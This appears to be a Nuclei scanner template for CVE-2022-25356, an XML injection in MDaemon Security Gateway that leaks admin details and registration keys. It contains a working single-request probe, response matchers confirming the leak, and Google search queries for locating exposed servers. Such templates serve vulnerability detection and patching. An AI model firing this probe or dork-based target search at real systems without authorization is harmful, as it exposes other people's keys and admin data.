Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection

id: CVE-2022-25356

info:
  name: Alt-n/MDaemon Security Gateway <=8.5.0 - XML Injection
  author: Akincibor
  severity: medium
  description: |
    Alt-n/MDaemon Security Gateway through 8.5.0 is susceptible to XML injection via SecurityGateway.dll?view=login. An attacker can inject an arbitrary XML argument by adding a new parameter in the HTTP request URL. As a result, the XML parser fails the validation process and discloses information such as protection used (2FA), admin email, and product registration keys.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious XML code, leading to various security risks such as information disclosure, privilege escalation.
  remediation: |
    Upgrade Alt-n/MDaemon Security Gateway to version 8.5.1 or later to mitigate this vulnerability.
  reference:
    - https://www.swascan.com/security-advisory-alt-n-security-gateway/
    - https://www.altn.com/Products/SecurityGateway-Email-Firewall/
    - https://www.swascan.com/security-blog/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25356
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-25356
    cwe-id: CWE-91
    epss-score: 0.00425
    epss-percentile: 0.74252
    cpe: cpe:2.3:a:altn:securitygateway:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: altn
    product: securitygateway
    google-query:
      - inurl:"/SecurityGateway.dll"
      - inurl:"/securitygateway.dll"
  tags: cve,cve2022,altn,gateway,xml,injection

http:
  - method: GET
    path:
      - '{{BaseURL}}/SecurityGateway.dll?view=login&redirect=true&9OW4L7RSDY=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Exception: Error while [Loading XML"
          - "&lt;RegKey&gt;"
          - "&lt;IsAdmin&gt;"
        condition: and

      - type: status
        status:
          - 200
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